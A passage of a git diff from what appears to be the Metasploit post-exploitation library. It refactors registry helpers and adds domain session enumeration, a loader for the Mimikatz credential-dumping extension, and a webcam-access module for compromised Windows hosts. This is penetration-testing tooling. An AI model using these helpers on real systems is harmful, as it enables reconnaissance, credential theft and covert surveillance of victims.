nil end @@ -353,10 +401,11 @@ protected # # Truncates if +append+ is false, appends otherwise. # - # You should never call this method directly. Instead, call #write_file or - # #append_file which will call this if it is appropriate for the given + # You should never call this method directly. Instead, call {#write_file} + # or {#append_file} which will call this if it is appropriate for the given # session. # + # @return [void] def _write_file_unix_shell(file_name, data, append=false) redirect = (append ? ">>" : ">") @@ -465,7 +514,7 @@ protected # The first command needs to use the provided redirection for either # appending or truncating. cmd = command.sub("CONTENTS") { chunks.shift } - session.shell_command_token("#{cmd} #{redirect} '#{file_name}'") + session.shell_command_token("#{cmd} #{redirect} \"#{file_name}\"") # After creating/truncating or appending with the first command, we # need to append from here on out. @@ -482,6 +531,7 @@ protected # # Calculate the maximum line length for a unix shell. # + # @return [Fixnum] def _unix_max_line_length # Based on autoconf's arg_max calculator, see # http://www.in-ulm.de/~mascheck/various/argmax/autoconf_check.html diff --git a/lib/msf/core/post/linux.rb b/lib/msf/core/post/linux.rb index a42dd1056e..b056fff87c 100644 --- a/lib/msf/core/post/linux.rb +++ b/lib/msf/core/post/linux.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::Linux require 'msf/core/post/linux/priv' require 'msf/core/post/linux/system' diff --git a/lib/msf/core/post/osx.rb b/lib/msf/core/post/osx.rb index 0227f44dbb..e7bd3e59e2 100644 --- a/lib/msf/core/post/osx.rb +++ b/lib/msf/core/post/osx.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::OSX require 'msf/core/post/osx/system' diff --git a/lib/msf/core/post/osx/ruby_dl.rb b/lib/msf/core/post/osx/ruby_dl.rb index 87f30e38a0..783c820ada 100644 --- a/lib/msf/core/post/osx/ruby_dl.rb +++ b/lib/msf/core/post/osx/ruby_dl.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf class Post module OSX @@ -31,7 +32,7 @@ module RubyDL def method_missing(meth, *args, &block) str = meth.to_s lower = str[0,1].downcase + str[1..-1] - if self.respond_to? lower + if self.respond_to?(lower, true) self.send lower, *args else super diff --git a/lib/msf/core/post/solaris.rb b/lib/msf/core/post/solaris.rb index 015fd29470..42620e9a21 100644 --- a/lib/msf/core/post/solaris.rb +++ b/lib/msf/core/post/solaris.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::Solaris require 'msf/core/post/solaris/priv' require 'msf/core/post/solaris/system' diff --git a/lib/msf/core/post/webrtc.rb b/lib/msf/core/post/webrtc.rb new file mode 100644 index 0000000000..0f89b4bd4a --- /dev/null +++ b/lib/msf/core/post/webrtc.rb @@ -0,0 +1,57 @@ +# -*- coding: binary -*- + +module Msf::Post::WebRTC + + # + # Connects to a video chat session as an answerer + # + # @param offerer_id [String] The offerer's ID in order to join the video chat + # @return void + # + def connect_video_chat(server, channel, offerer_id) + interface = load_interface('answerer.html') + interface.gsub!(/\=SERVER\=/, server) + interface.gsub!(/\=RHOST\=/, rhost) + interface.gsub!(/\=CHANNEL\=/, channel) + interface.gsub!(/\=OFFERERID\=/, offerer_id) + + tmp_interface = Tempfile.new(['answerer', '.html']) + tmp_interface.binmode + tmp_interface.write(interface) + tmp_interface.close + + found_local_browser = Rex::Compat.open_webrtc_browser(tmp_interface.path) + unless found_local_browser + raise RuntimeError, "Unable to find a suitable browser to connect to the target" + end + end + + + # + # Returns the webcam interface + # + # @param html_name [String] The filename of the HTML interface (offerer.html or answerer.html) + # @return [String] The HTML interface code + # + def load_interface(html_name) + interface_path = ::File.join(Msf::Config.data_directory, 'webcam', html_name) + interface_code = '' + ::File.open(interface_path) { |f| interface_code = f.read } + interface_code.gsub!(/\=WEBRTCAPIJS\=/, load_api_code) + interface_code + end + + + # + # Returns the webcam API + # + # @return [String] The WebRTC lib code + # + def load_api_code + js_api_path = ::File.join(Msf::Config.data_directory, 'webcam', 'api.js') + api = '' + ::File.open(js_api_path) { |f| api = f.read } + api + end + +end diff --git a/lib/msf/core/post/windows.rb b/lib/msf/core/post/windows.rb index 7be6f99261..0a6aa38402 100644 --- a/lib/msf/core/post/windows.rb +++ b/lib/msf/core/post/windows.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::Windows require 'msf/core/post/windows/error' @@ -11,10 +12,13 @@ module Msf::Post::Windows require 'msf/core/post/windows/process' require 'msf/core/post/windows/railgun' require 'msf/core/post/windows/registry' + require 'msf/core/post/windows/runas' require 'msf/core/post/windows/services' require 'msf/core/post/windows/wmic' + require 'msf/core/post/windows/netapi' require 'msf/core/post/windows/shadowcopy' require 'msf/core/post/windows/user_profiles' require 'msf/core/post/windows/ldap' require 'msf/core/post/windows/reflective_dll_injection' + require 'msf/core/post/windows/kiwi' end diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index f092f48240..e4fedf7b74 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -1,9 +1,13 @@ # -*- coding: binary -*- + +require 'msf/core/post/windows/error' + module Msf class Post module Windows module Accounts + include Msf::Post::Windows::Error GUID = [ ['Data1',:DWORD], @@ -165,16 +169,42 @@ module Accounts end end - # A reference to the SID data structure. Generally needed when working with sids psid = conversion['pSid'] - # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx - # TODO: The buffer sizes here need to be reviewed/adjusted/optimized - lookup = adv.LookupAccountSidA(system_name, psid, 100, 100, 100, 100, 1) + # Begin/Ensure so we free the pSid buffer... + begin + # A reference to the SID data structure. Generally needed when working with sids - # We no longer need the sid so free it. - # NOTE: We do not check to see if this call succeeded. Do we care? - adv.FreeSid(psid) + # http://msdn.microsoft.com/en-us/library/aa379166(v=vs.85).aspx + lp_name = lp_referenced_domain_name = 100 + cch_name = cch_referenced_domain_name = 100 + lookup = adv.LookupAccountSidA(system_name, + psid, + lp_name, + cch_name, + lp_referenced_domain_name, + cch_referenced_domain_name, + 1) + + if !lookup['return'] && lookup['GetLastError'] == INSUFFICIENT_BUFFER + lp_name = cch_name = lookup['cchName'] + lp_referenced_domain_name = cch_referenced_domain_name = lookup['cchReferencedDomainName'] + + lookup = adv.LookupAccountSidA(system_name, + psid, + lp_name, + cch_name, + lp_referenced_domain_name, + cch_referenced_domain_name, + 1) + elsif !lookup['return'] + print_error "Unexpected windows error #{lookup['GetLastError']}" + return nil + end + ensure + # We no longer need the sid so free it. + adv.FreeSid(psid) + end # If the call failed, handle errors accordingly. unless lookup['return'] @@ -270,7 +300,7 @@ module Accounts #define generic mapping structure gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") + gen_map = gen_map.pack("V") buffer_size = 500 #get Security Descriptor for the directory @@ -283,7 +313,7 @@ module Accounts vprint_error("The system cannot find the file specified: #{dir}") return nil else - vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}") + vprint_error("#{f['ErrorMessage']}: #{dir}") return nil end @@ -298,6 +328,8 @@ module Accounts w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) if !w["return"] then return nil end if w["GrantedAccess"] > 0 then result << "W" end + + result end end # Accounts diff --git a/lib/msf/core/post/windows/error.rb b/lib/msf/core/post/windows/error.rb index 6557d729a1..a9764c32ab 100644 --- a/lib/msf/core/post/windows/error.rb +++ b/lib/msf/core/post/windows/error.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf::Post::Windows::Error SUCCESS = 0x0000 @@ -2527,5 +2528,5 @@ module Msf::Post::Windows::Error SYSTEM_DEVICE_NOT_FOUND = 0x3BC3 HASH_NOT_SUPPORTED = 0x3BC4 HASH_NOT_PRESENT = 0x3BC5 - + INVALID_HANDLE_VALUE = 0xffffffff end diff --git a/lib/msf/core/post/windows/kiwi.rb b/lib/msf/core/post/windows/kiwi.rb new file mode 100644 index 0000000000..7290dd5049 --- /dev/null +++ b/lib/msf/core/post/windows/kiwi.rb @@ -0,0 +1,25 @@ +# -*- coding: binary -*- + +module Msf +class Post +module Windows + +module Kiwi + + def load_kiwi + if session.kiwi + return true + else + begin + return session.core.use('kiwi') + rescue Errno::ENOENT + print_error('Unable to load Kiwi Mimikatz Extension.') + return false + end + end + end + +end # Kiwi +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb index 960ca5af0e..44d13823fd 100644 --- a/lib/msf/core/post/windows/ldap.rb +++ b/lib/msf/core/post/windows/ldap.rb @@ -149,7 +149,7 @@ module LDAP query_result = query_ldap(session_handle, "", 0, "(objectClass=computer)", ["defaultNamingContext"]) first_entry_fields = query_result[:results].first # Value from First Attribute of First Entry - default_naming_context = first_entry_fields.first + default_naming_context = first_entry_fields.first[:value] vprint_status("Default naming context #{default_naming_context}") return default_naming_context end @@ -231,7 +231,7 @@ module LDAP values_result = values.join(',') if values vprint_status("Values #{values}") - field_results << values_result + field_results << {:type => 'unknown', :value => values_result} end entry_results << field_results @@ -248,7 +248,7 @@ module LDAP # @param pEntry [Fixnum] Pointer to the Entry # @return [Array] Entry data structure def get_entry(pEntry) - return client.railgun.memread(pEntry,41).unpack('LLLLLLLLLSCCC') + return client.railgun.memread(pEntry,41).unpack('VVVVVVVVVvCCC') end # Get BER Element data structure from LDAPMessage @@ -256,7 +256,7 @@ module LDAP # @param msg [String] The LDAP Message from the server # @return [String] The BER data structure def get_ber(msg) - ber = client.railgun.memread(msg[2],60).unpack('L*') + ber = client.railgun.memread(msg[2],60).unpack('V*') # BER Pointer is different between x86 and x64 if client.platform =~ /x64/ diff --git a/lib/msf/core/post/windows/netapi.rb b/lib/msf/core/post/windows/netapi.rb new file mode 100644 index 0000000000..4ece2a443e --- /dev/null +++ b/lib/msf/core/post/windows/netapi.rb @@ -0,0 +1,168 @@ +# -*- coding: binary -*- +module Msf +class Post +module Windows + +module NetAPI + + MAX_PREFERRED_LENGTH = -1 + SV_TYPE_ALL = 0xFFFFFFFF + SV_TYPE_DOMAIN_ENUM = 0x80000000 + SV_TYPE_DOMAIN_BAKCTRL = 10 + SV_TYPE_DOMAIN_CTRL = 4 + + ERROR_ACCESS_DENIED = 5 + ERROR_NOT_ENOUGH_MEMORY = 8 + ERROR_INVALID_PARAMETER = 87 + ERROR_INVALID_LEVEL = 124 + ERROR_MORE_DATA = 234 + ERROR_NO_BROWSER_SERVERS_FOUND = 6118 + + NERR_ClientNameNotFound = 2312 + NERR_InvalidComputer = 2351 + NERR_UserNotFound = 2221 + + def UnicodeByteStringToAscii(str) + length = (str.index "\0\0\0") + 1 + Rex::Text.to_ascii(str[0..length]) + end + + def netapi_buffer_free(ptr) + # Free the buffer + ret = client.railgun.netapi32.NetApiBufferFree(ptr) + vprint_error("Unable to free buffer, Error Code: #{ret['return']}") unless ret['return'] == 0 + end + + def net_server_enum(server_type=SV_TYPE_ALL, domain=nil) + hosts = [] + + result = client.railgun.netapi32.NetServerEnum( + nil, # servername + 100, # level (100/101) + 4, # bufptr + MAX_PREFERRED_LENGTH, # prefmaxlen + 4, # entries read + 4, # total entries + server_type, # server_type + domain, # domain + nil # resume handle + ) + + case result['return'] + when 0 + # Railgun assumes PDWORDS are pointers and returns 8 bytes for x64 architectures. + # Therefore we need to truncate the result value to an actual + # DWORD for entriesread or totalentries. + hosts = read_server_structs(result['bufptr'], (result['entriesread'] % 4294967296), domain, server_type) + when ERROR_NO_BROWSER_SERVERS_FOUND + print_error("ERROR_NO_BROWSER_SERVERS_FOUND") + return nil + when ERROR_MORE_DATA + vprint_error("ERROR_MORE_DATA") + return nil + end + + netapi_buffer_free(result['bufptr']) + + return hosts + end + + def read_server_structs(start_ptr, count, domain, server_type) + hosts = [] + return hosts if count <= 0 + + ptr_size = client.railgun.util.pointer_size + ptr = (ptr_size == 8) ? 'Q<' : 'V' + + base = 0 + # Struct -> Ptr, Ptr + struct_size = ptr_size * 2 + + mem = client.railgun.memread(start_ptr, struct_size*count) + + count.times do + x = {} + x[:version]= mem[(base + 0),ptr_size].unpack(ptr).first + nameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first + x[:name] = UnicodeByteStringToAscii(client.railgun.memread(nameptr, 255)) + hosts << x + base += struct_size + end + + hosts + end + + def net_session_enum(hostname, username) + sessions = [] + + result = client.railgun.netapi32.NetSessionEnum( + hostname, # servername + nil, # UncClientName + username, # username + 10, # level + 4, # bufptr + MAX_PREFERRED_LENGTH, # prefmaxlen + 4, # entriesread + 4, # totalentries + nil # resume_handle + ) + + case result['return'] + when 0 + vprint_error("#{hostname} Session identified") + sessions = read_session_structs(result['bufptr'], (result['entriesread'] % 4294967296), hostname) + when ERROR_ACCESS_DENIED + vprint_error("#{hostname} Access denied...") + return nil + when 53 + vprint_error("Host not found or did not respond: #{hostname}") + return nil + when 123 + vprint_error("Invalid host: #{hostname}") + return nil + when NERR_UserNotFound + return nil + when ERROR_MORE_DATA + vprint_error("#{hostname} ERROR_MORE_DATA") + else + vprint_error("Unaccounted for error code: #{result['return']}") + return nil + end + + netapi_buffer_free(result['bufptr']) + + return sessions + end + + def read_session_structs(start_ptr, count, hostname) + sessions = [] + return sessions if count <= 0 + + ptr_size = client.railgun.util.pointer_size + ptr = (ptr_size == 8) ? 'Q<' : 'V' + + base = 0 + # Struct -> Ptr, Ptr, Dword Dword + struct_size = (ptr_size * 2) + 8 + mem = client.railgun.memread(start_ptr, struct_size*count) + + count.times do + sess = {} + cnameptr = mem[(base + 0),ptr_size].unpack(ptr).first + usernameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first + sess[:usetime] = mem[(base + (ptr_size * 2)),4].unpack('V').first + sess[:idletime] = mem[(base + (ptr_size * 2) + 4),4].unpack('V').first + sess[:cname] = UnicodeByteStringToAscii(client.railgun.memread(cnameptr,255)) + sess[:username] = UnicodeByteStringToAscii(client.railgun.memread(usernameptr,255)) + sess[:hostname] = hostname + sessions << sess + base = base + struct_size + end + + sessions + end + +end # NetAPI +end # Windows +end # Post +end # Msf diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb index 33b6fca9f8..b77da4a5e3 100644 --- a/lib/msf/core/post/windows/powershell.rb +++ b/lib/msf/core/post/windows/powershell.rb @@ -19,8 +19,8 @@ module Powershell # Returns true if powershell is installed # def have_powershell? - cmd_out = cmd_exec("powershell get-host") - return true if cmd_out =~ /Name.*Version.*InstanceID/ + cmd_out = cmd_exec('cmd.exe /c "echo. | powershell get-host"') + return true if cmd_out =~ /Name.*Version.*InstanceId/m return false end diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 5019fdf655..aca85738b4 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -90,7 +90,7 @@ module Msf::Post::Windows::Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008)/ + if winversion =~ /Windows (Vista|7|8|2008|2012)/ unless is_system? begin enable_lua = registry_getvaldata( diff --git a/lib/msf/core/post/windows/process.rb b/lib/msf/core/post/windows/process.rb index 2509e9de44..53a4e1e3f3 100644 --- a/lib/msf/core/post/windows/process.rb +++ b/lib/msf/core/post/windows/process.rb @@ -35,10 +35,10 @@ module Process thread = host.thread.create(shell_addr,0) unless thread.instance_of?(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Thread) vprint_error("Unable to create thread") - return false + nil end - true + thread end end # Process diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index 764c273f7e..78f28aed55 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -10,16 +10,34 @@ module Registry include Msf::Post::Windows::CliParse + # + # This is the default view. It reflects what the remote process would see + # natively. So, if you are using a remote 32-bit meterpreter session, you + # will see 32-bit registry keys and values. + # + REGISTRY_VIEW_NATIVE = 0 + + # + # Access 32-bit registry keys and values regardless of whether the session is + # 32 or 64-bit. + # + REGISTRY_VIEW_32_BIT = 1 + + # + # Access 64-bit registry keys and values regardless of whether the session is + # 32 or 64-bit. + # + REGISTRY_VIEW_64_BIT = 2 + # # Load a hive file # - def registry_loadkey(key,file) + def registry_loadkey(key, file) if session_has_registry_ext - retval=meterpreter_registry_loadkey(key,file) + meterpreter_registry_loadkey(key, file) else - retval=shell_registry_loadkey(key,file) + shell_registry_loadkey(key, file) end - return retval end # @@ -27,21 +45,20 @@ module Registry # def registry_unloadkey(key) if session_has_registry_ext - retval=meterpreter_registry_unloadkey(key) + meterpreter_registry_unloadkey(key) else - retval=shell_registry_unloadkey(key) + shell_registry_unloadkey(key) end - return retval end # # Create the given registry key # - def registry_createkey(key) + def registry_createkey(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_createkey(key) + meterpreter_registry_createkey(key, view) else - shell_registry_createkey(key) + shell_registry_createkey(key, view) end end @@ -50,11 +67,11 @@ module Registry # # returns true if succesful # - def registry_deleteval(key, valname) + def registry_deleteval(key, valname, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_deleteval(key, valname) + meterpreter_registry_deleteval(key, valname, view) else - shell_registry_deleteval(key, valname) + shell_registry_deleteval(key, valname, view) end end @@ -63,55 +80,55 @@ module Registry # # returns true if succesful # - def registry_deletekey(key) + def registry_deletekey(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_deletekey(key) + meterpreter_registry_deletekey(key, view) else - shell_registry_deletekey(key) + shell_registry_deletekey(key, view) end end # # Return an array of subkeys for the given registry key # - def registry_enumkeys(key) + def registry_enumkeys(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_enumkeys(key) + meterpreter_registry_enumkeys(key, view) else - shell_registry_enumkeys(key) + shell_registry_enumkeys(key, view) end end # # Return an array of value names for the given registry key # - def registry_enumvals(key) + def registry_enumvals(key, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_enumvals(key) + meterpreter_registry_enumvals(key, view) else - shell_registry_enumvals(key) + shell_registry_enumvals(key, view) end end # # Return the data of a given registry key and value # - def registry_getvaldata(key, valname) + def registry_getvaldata(key, valname, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_getvaldata(key, valname) + meterpreter_registry_getvaldata(key, valname, view) else - shell_registry_getvaldata(key, valname) + shell_registry_getvaldata(key, valname, view) end end # # Return the data and type of a given registry key and value # - def registry_getvalinfo(key,valname) + def registry_getvalinfo(key, valname, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_getvalinfo(key, valname) + meterpreter_registry_getvalinfo(key, valname, view) else - shell_registry_getvalinfo(key, valname) + shell_registry_getvalinfo(key, valname, view) end end @@ -120,11 +137,11 @@ module Registry # # returns true if succesful # - def registry_setvaldata(key, valname, data, type) + def registry_setvaldata(key, valname, data, type, view = REGISTRY_VIEW_NATIVE) if session_has_registry_ext - meterpreter_registry_setvaldata(key, valname, data, type) + meterpreter_registry_setvaldata(key, valname, data, type, view) else - shell_registry_setvaldata(key, valname, data, type) + shell_registry_setvaldata(key, valname, data, type, view) end end @@ -146,23 +163,27 @@ protected # Generic registry manipulation methods based on reg.exe ## + def shell_registry_cmd(suffix, view = REGISTRY_VIEW_NATIVE) + cmd = "cmd.exe /c reg" + if view == REGISTRY_VIEW_32_BIT + cmd += " /reg:32" + elsif view == REGISTRY_VIEW_64_BIT + cmd += " /reg:64" + end + session.shell_command_token_win32("#{cmd} #{suffix}") + end + + def shell_registry_cmd_result(suffix, view = REGISTRY_VIEW_NATIVE) + results = shell_registry_cmd(suffix, view); + results.include?('The operation completed successfully') + end + # # Use reg.exe to load the hive file +file+ into +key+ # - def shell_registry_loadkey(key,file) + def shell_registry_loadkey(key, file) key = normalize_key(key) - boo = false - file = "\"#{file}\"" - cmd = "cmd.exe /c reg load #{key} #{file}" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - return boo + shell_registry_cmd_result("load \"#{key}\" \"#{file}\"") end # @@ -170,131 +191,71 @@ protected # def shell_registry_unloadkey(key) key = normalize_key(key) - boo = false - cmd = "cmd.exe /c reg unload #{key}" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd} INSPECT: #{error_hash.inspect}") - end - return boo + shell_registry_cmd_result("unload \"#{key}\"") end - # # Use reg.exe to create a new registry key # - def shell_registry_createkey(key) + def shell_registry_createkey(key, view) key = normalize_key(key) - boo = false - begin - # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] - cmd = "cmd.exe /c reg add \"#{key}\"" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end + # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] + shell_registry_cmd_result("add /f \"#{key}\"", view) end # # Use reg.exe to delete +valname+ in +key+ # - def shell_registry_deleteval(key, valname) + def shell_registry_deleteval(key, valname, view) key = normalize_key(key) - boo = false - begin - # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] - cmd = "cmd.exe /c reg delete \"#{key}\" /v \"#{valname}\" /f" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end - return boo + # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] + shell_registry_cmd_result("delete \"#{key}\" /v \"#{valname}\" /f", view) end # # Use reg.exe to delete +key+ and all its subkeys and values # - def shell_registry_deletekey(key) + def shell_registry_deletekey(key, view) key = normalize_key(key) - boo = false - begin - # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] - cmd = "cmd.exe /c reg delete \"#{key}\" /f" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end - return boo + # REG DELETE KeyName [/v ValueName | /ve | /va] [/f] + shell_registry_cmd_result("delete \"#{key}\" /f", view) end # # Use reg.exe to enumerate all the subkeys in +key+ # - def shell_registry_enumkeys(key) + def shell_registry_enumkeys(key, view) key = normalize_key(key) subkeys = [] reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|' reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR' - begin - bslashes = key.count('\\') - cmd = "cmd.exe /c reg query \"#{key}\"" - results = session.shell_command_token_win32(cmd) - if results - if results =~ /^Error:/ - error_hash = win_parse_error(results) - else # would like to use elsif results =~ /#{key}/ but can't figure it out - results.each_line do |line| - # now let's keep the ones that have a count = bslashes+1 - # feels like there's a smarter way to do this but... - if (line.count('\\') == bslashes+1 && !line.ends_with?('\\')) - #then it's a first level subkey - subkeys << line.split('\\').last.chomp # take & chomp the last item only - end - end - #else - # error_hash = win_parse_error("ERROR:Unrecognizable results from #{cmd}") + bslashes = key.count('\\') + results = shell_registry_cmd("query \"#{key}\"", view) + unless results.include?('Error') + results.each_line do |line| + # now let's keep the ones that have a count = bslashes+1 + # feels like there's a smarter way to do this but... + if (line.count('\\') == bslashes+1 && !line.ends_with?('\\')) + #then it's a first level subkey + subkeys << line.split('\\').last.chomp # take & chomp the last item only end - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") end end - return subkeys + subkeys end # # Use reg.exe to enumerate all the values in +key+ # - def shell_registry_enumvals(key) + def shell_registry_enumvals(key, view) key = normalize_key(key) values = [] reg_data_types = 'REG_SZ|REG_MULTI_SZ|REG_DWORD_BIG_ENDIAN|REG_DWORD|REG_BINARY|' reg_data_types << 'REG_DWORD_LITTLE_ENDIAN|REG_NONE|REG_EXPAND_SZ|REG_LINK|REG_FULL_RESOURCE_DESCRIPTOR' - begin - # REG QUERY KeyName [/v ValueName | /ve] [/s] - cmd = "cmd.exe /c reg query \"#{key}\"" - results = session.shell_command_token_win32(cmd) - if results =~ /^Error:/ - error_hash = win_parse_error(results) - elsif values = results.scan(/^ +.*[#{reg_data_types}].*/) + # REG QUERY KeyName [/v ValueName | /ve] [/s] + results = shell_registry_cmd("query \"#{key}\"", view) + unless results.include?('Error') + if values = results.scan(/^ +.*[#{reg_data_types}].*/) # yanked the lines with legit REG value types like REG_SZ # now let's parse out the names (first field basically) values.collect! do |line| @@ -303,75 +264,50 @@ protected t = nil if t == "<NO" t end - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") end end - return values + values end # # Returns the data portion of the value +valname+ # - def shell_registry_getvaldata(key, valname) - value = nil - begin - a = shell_registry_getvalinfo(key, valname) - value = a["Data"] || nil - end - return value + def shell_registry_getvaldata(key, valname, view) + a = shell_registry_getvalinfo(key, valname, view) + a["Data"] || nil end # # Enumerate the type and data stored in the registry value +valname+ in # +key+ # - def shell_registry_getvalinfo(key, valname) + def shell_registry_getvalinfo(key, valname, view) key = normalize_key(key) value = {} value["Data"] = nil # defaults value["Type"] = nil - begin - # REG QUERY KeyName [/v ValueName | /ve] [/s] - cmd = "cmd.exe /c reg query \"#{key}\" /v \"#{valname}\"" - results = session.shell_command_token_win32(cmd) - if match_arr = /^ +#{valname}.*/i.match(results) - # pull out the interesting line (the one with the value name in it) - # and split it with ' ' yielding [valname,REGvaltype,REGdata] - split_arr = match_arr[0].split(' ') - value["Type"] = split_arr[1] - value["Data"] = split_arr[2] - # need to test to ensure all results can be parsed this way - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end + # REG QUERY KeyName [/v ValueName | /ve] [/s] + results = shell_registry_cmd("query \"#{key}\" /v \"#{valname}\"", view) + if match_arr = /^ +#{valname}.*/i.match(results) + # pull out the interesting line (the one with the value name in it) + # and split it with ' ' yielding [valname,REGvaltype,REGdata] + split_arr = match_arr[0].split(' ') + value["Type"] = split_arr[1] + value["Data"] = split_arr[2] + # need to test to ensure all results can be parsed this way end - return value + value end # # Use reg.exe to add a value +valname+ in the key +key+ with the specified # +type+ and +data+ # - def shell_registry_setvaldata(key, valname, data, type) + def shell_registry_setvaldata(key, valname, data, type, view) key = normalize_key(key) - boo = false - begin - # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] - # /f to overwrite w/o prompt - cmd = "cmd.exe /c reg add \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f" - results = session.shell_command_token_win32(cmd) - if results =~ /The operation completed successfully/ - boo = true - elsif results =~ /^Error:/ - error_hash = win_parse_error(results) - else - error_hash = win_parse_error("ERROR:Unknown error running #{cmd}") - end - end - return boo + # REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] + # /f to overwrite w/o prompt + shell_registry_cmd_result("add /f \"#{key}\" /v \"#{valname}\" /t \"#{type}\" /d \"#{data}\" /f", view) end @@ -379,16 +315,25 @@ protected # Meterpreter-specific registry manipulation methods ## + def meterpreter_registry_perms(perms, view = REGISTRY_VIEW_NATIVE) + if view == REGISTRY_VIEW_32_BIT + perms |= KEY_WOW64_32KEY + elsif view == REGISTRY_VIEW_64_BIT + perms |= KEY_WOW64_64KEY + end + perms + end + # # Load a registry hive stored in +file+ into +key+ # - def meterpreter_registry_loadkey(key,file) + def meterpreter_registry_loadkey(key, file) begin client.sys.config.getprivs() root_key, base_key = session.sys.registry.splitkey(key) #print_debug("Loading file #{file}") begin - loadres= session.sys.registry.load_key(root_key,base_key,file) + loadres = session.sys.registry.load_key(root_key, base_key, file) rescue Rex::Post::Meterpreter::RequestError => e case e.to_s when "stdapi_registry_load_key: Operation failed: 1314" @@ -412,7 +357,6 @@ protected rescue return false end - end # @@ -445,11 +389,11 @@ protected # # Create a new registry key # - def meterpreter_registry_createkey(key) + def meterpreter_registry_createkey(key, view) begin root_key, base_key = session.sys.registry.splitkey(key) - - open_key = session.sys.registry.create_key(root_key, base_key) + perms = meterpreter_registry_perms(KEY_WRITE, view) + open_key = session.sys.registry.create_key(root_key, base_key, perms) open_key.close return true rescue Rex::Post::Meterpreter::RequestError => e @@ -460,10 +404,11 @@ protected # # Delete the registry value +valname+ store in +key+ # - def meterpreter_registry_deleteval(key, valname) + def meterpreter_registry_deleteval(key, valname, view) begin root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key, base_key, KEY_WRITE) + perms = meterpreter_registry_perms(KEY_WRITE, view) + open_key = session.sys.registry.open_key(root_key, base_key, perms) open_key.delete_value(valname) open_key.close return true @@ -475,10 +420,11 @@ protected # # Delete the registry key +key+ # - def meterpreter_registry_deletekey(key) + def meterpreter_registry_deletekey(key, view) begin root_key, base_key = session.sys.registry.splitkey(key) - deleted = session.sys.registry.delete_key(root_key, base_key) + perms = meterpreter_registry_perms(KEY_WRITE, view) + deleted = session.sys.registry.delete_key(root_key, base_key, perms) return deleted rescue Rex::Post::Meterpreter::RequestError => e return nil @@ -488,50 +434,53 @@ protected # # Enumerate the subkeys in +key+ # - def meterpreter_registry_enumkeys(key) - subkeys = [] + def meterpreter_registry_enumkeys(key, view) begin + subkeys = [] root_key, base_key = session.sys.registry.splitkey(key) - open_key = 